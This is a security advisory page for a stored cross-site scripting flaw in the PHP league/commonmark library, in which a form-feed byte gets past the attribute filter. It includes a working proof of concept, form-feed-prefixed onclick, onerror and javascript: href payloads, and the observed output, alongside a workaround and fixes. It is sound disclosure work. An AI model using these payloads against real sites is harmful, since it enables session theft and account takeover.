VDB
Sign up
HIGH7.2

GHSA-f8fg-pg57-v4j8

league/commonmark XSS: `on*` event-handler filter in `AttributesExtension` bypassed with a U+000C form feed

Quick fix

GHSA-f8fg-pg57-v4j8 — league/commonmark: upgrade to the fixed version with the command below.

composer require league/commonmark:^2.9.1

Details

### Summary

The `AttributesExtension` documents a security guarantee:

> **Note:** Attributes starting with `on` (e.g. `onclick` or `onerror`) are capable of executing > JavaScript code and are therefore **never allowed by default**. You must explicitly add them to > the `allow` list if you want to use them. > > — `docs/2.x/extensions/attributes.md`

Prefixing the attribute name with a single U+000C FORM FEED byte defeats that guarantee. `{<FF>onclick="alert(1)"}` passes through `AttributesHelper::filterAttributes()` untouched and is written verbatim into the output, where browsers parse it as a genuine `onclick` handler.

The same prefix defeats the `allow_unsafe_links` check, letting a `javascript:` URI through on `href` / `src` even when `allow_unsafe_links` is `false`.

This bypasses the fix shipped in the **2.7.0 security release** ("Fix XSS in AttributesExtension", 43207253ea5f14867c77c697cd3838c446cadcea), which added `filterAttributes()` for the express purpose of blocking these attributes.

Throughout this report `<FF>` denotes a literal U+000C byte (`"\x0C"` in PHP). It is invisible in rendered text, so all payloads below are written with PHP escape sequences to stay unambiguous.

### Details

Three behaviours combine.

**1. `\x0C` survives the parser's `trim()`.**

`AttributesHelper::SINGLE_ATTRIBUTE` begins with `\s*`, and `Cursor::match()` returns `$matches[0][0]` — the *entire* match, including that leading whitespace. The result is cleaned with PHP's `trim()`:

```php // src/Extension/Attributes/Util/AttributesHelper.php:62 while ($attribute = \trim((string) $attributeCursor->match('/^' . self::SINGLE_ATTRIBUTE . '/i'))) { ```

PCRE `\s` matches `\x0C`, but PHP's default `trim()` charlist is `" \t\n\r\0\x0B"` — it includes the vertical tab `\x0B` but **not** the form feed `\x0C`. The byte is therefore consumed by the regex, retained in the returned match, and not stripped. It ends up inside the attribute name:

```php // src/Extension/Attributes/Util/AttributesHelper.php:94 $attributes[\trim($name)] = \trim($value); // $name === "\x0Conclick" ```

`\x0C` is the only byte with this property: every other character the HTML5 tokenizer treats as whitespace (`\x09`, `\x0A`, `\x0D`, `\x20`), plus `\x0B`, is in PHP's trim charlist. The PoC includes a `\x0B` case as a control, and it is correctly stripped.

**2. The filter's string comparisons miss it.**

`filterAttributes()` compares the raw name against literal strings:

```php // src/Extension/Attributes/Util/AttributesHelper.php:148-166 $attrNameLower = \strtolower($name); // "\x0conclick" ... ($attrNameLower === 'href' || $attrNameLower === 'src') ... // false ... \str_starts_with($attrNameLower, 'on') ... // false -> not removed ```

**3. The renderer never escapes attribute names.**

```php // src/Util/HtmlElement.php:123-129 $result .= ' ' . $key . '="' . Xml::escape($value) . '"'; // $key emitted raw ```

Because the HTML5 tokenizer treats `\x0C` as whitespace *between* attributes, the browser reads the name as plain `onclick`.

### PoC

```php <?php require 'vendor/autoload.php';

use League\CommonMark\Environment\Environment; use League\CommonMark\Extension\Attributes\AttributesExtension; use League\CommonMark\Extension\CommonMark\CommonMarkCoreExtension; use League\CommonMark\MarkdownConverter;

// The most defensive configuration docs/2.x/security.md recommends. $env = new Environment([ 'html_input' => 'escape', 'allow_unsafe_links' => false, 'max_nesting_level' => 100, // 'attributes' => ['allow' => [...]] deliberately left at its default [] ]); $env->addExtension(new CommonMarkCoreExtension()); $env->addExtension(new AttributesExtension()); $converter = new MarkdownConverter($env);

$FF = "\x0C";

echo $converter->convert('hello {onclick="alert(1)"}')->getContent(); // <p>hello</p> <- filtered, as documented

echo $converter->convert('hello {' . $FF . 'onclick="alert(1)"}')->getContent(); // <p \x0Conclick="alert(1)">hello</p> <- BYPASS ```

Full observed output (`\x0C` shown escaped; it is a literal single byte in the real output):

| # | Markdown input | Rendered output | Result | |---|---|---|---| | A | `hello {onclick="alert(1)"}` | `<p>hello</p>` | filtered (control) | | B | `hello {\x0Conclick="alert(1)"}` | `<p \x0Conclick="alert(1)">hello</p>` | **bypass** | | C | `hello {\x0Bonclick="alert(1)"}` | `<p>hello</p>` | filtered (control) | | D | `[click](javascript:alert(1))` | `<p><a>click</a></p>` | filtered (control) | | E | `[click](https://example.com){\x0Chref="javascript:alert(1)"}` | `<p><a \x0Chref="javascript:alert(1)" href="https://example.com">click</a></p>` | **bypass** | | F | `![x](https://example.invalid/x.png){\x0Conerror="alert(1)"}` | `<p><img \x0Conerror="alert(1)" src="…" alt="x" /></p>` | **bypass** | | G | `# heading` + newline + `{\x0Conclick="alert(1)"}` | `<h1 \x0Conclick="alert(1)">heading</h1>` | **bypass** (block syntax) |

In case E the injected `href` precedes the legitimate one. Per the HTML5 duplicate-attribute rule the **first** occurrence wins, so the `javascript:` URI is the one the browser actually uses.

**Browser confirmation.** Loading the library's unmodified output in Chrome for Testing 148:

``` <img> attribute names : ["onerror","src","alt"] <- parsed as a real `onerror` typeof img.onerror : function <- bound as an event handler handlers fired : ["img-onerror"] <- fired on load, no interaction document.title : XSS-FIRED link href attribute : "javascript:void(0)" link href property : "javascript:void(0)" <- javascript: URI is the effective href page errors : [] ```

The `onerror` case executes with **no user interaction** — rendering the attacker's Markdown is sufficient.

Verified against git HEAD (`f966b17a`) and against tag `2.9.0`, on PHP 8.5.8.

### Impact

Stored cross-site scripting in any application that renders untrusted Markdown with `AttributesExtension` enabled and `attributes.allow` left at its default `[]` — even when the application has followed every hardening step in `docs/2.x/security.md` (`html_input => 'escape'`, `allow_unsafe_links => false`, `max_nesting_level => 100`).

Consequences are the usual for stored XSS: session and cookie theft, actions performed as the viewing user, and account takeover where the host application permits it. Because the payload can be attached to an image (`onerror`), it fires on page load without requiring the victim to interact with anything.

The affected configuration is the extension's default: `attributes.allow` defaults to `[]`, and the documentation describes that default as safe with respect to `on*` attributes.

### Workaround for users

Setting an explicit allow list takes the other branch of `filterAttributes()`, which drops the form-feed name because it is not in the list:

```php $config = ['attributes' => ['allow' => ['id', 'class', 'align']]]; ```

Verified: `hello {\x0Conclick="alert(1)"}` then renders as `<p>hello</p>`.

### Suggested fix

The narrow fix is to add `\x0C` to the trim charlist at `AttributesHelper.php` lines 62, 89, 90 and 94. That closes this instance but leaves the shape of the problem in place.

A more durable fix is to reject anything that is not a well-formed attribute name in `filterAttributes()`, reusing the constant the parser already defines (`RegexHelper` is already imported in that file):

```php foreach ($attributes as $name => $value) { // Names are compared against literal strings below and emitted without escaping, // so anything that isn't a plain attribute name must not get through. if (\preg_match('/^' . RegexHelper::PARTIAL_ATTRIBUTENAME . '$/i', $name) !== 1) { unset($attributes[$name]); continue; }

$attrNameLower = \strtolower($name); // ... existing logic unchanged } ```

As defence in depth, `HtmlElement::__toString()` could validate or escape `$key`. It currently trusts its callers to supply safe attribute names, and `filterAttributes()` is the only thing standing between that method and user-supplied input.

Are you affected?

Enter the version of the package you're using.

Affected packages

Packagist/league/commonmark
Introduced in: 2.7.0Fixed in: 2.9.1
Fixcomposer require league/commonmark:^2.9.1

References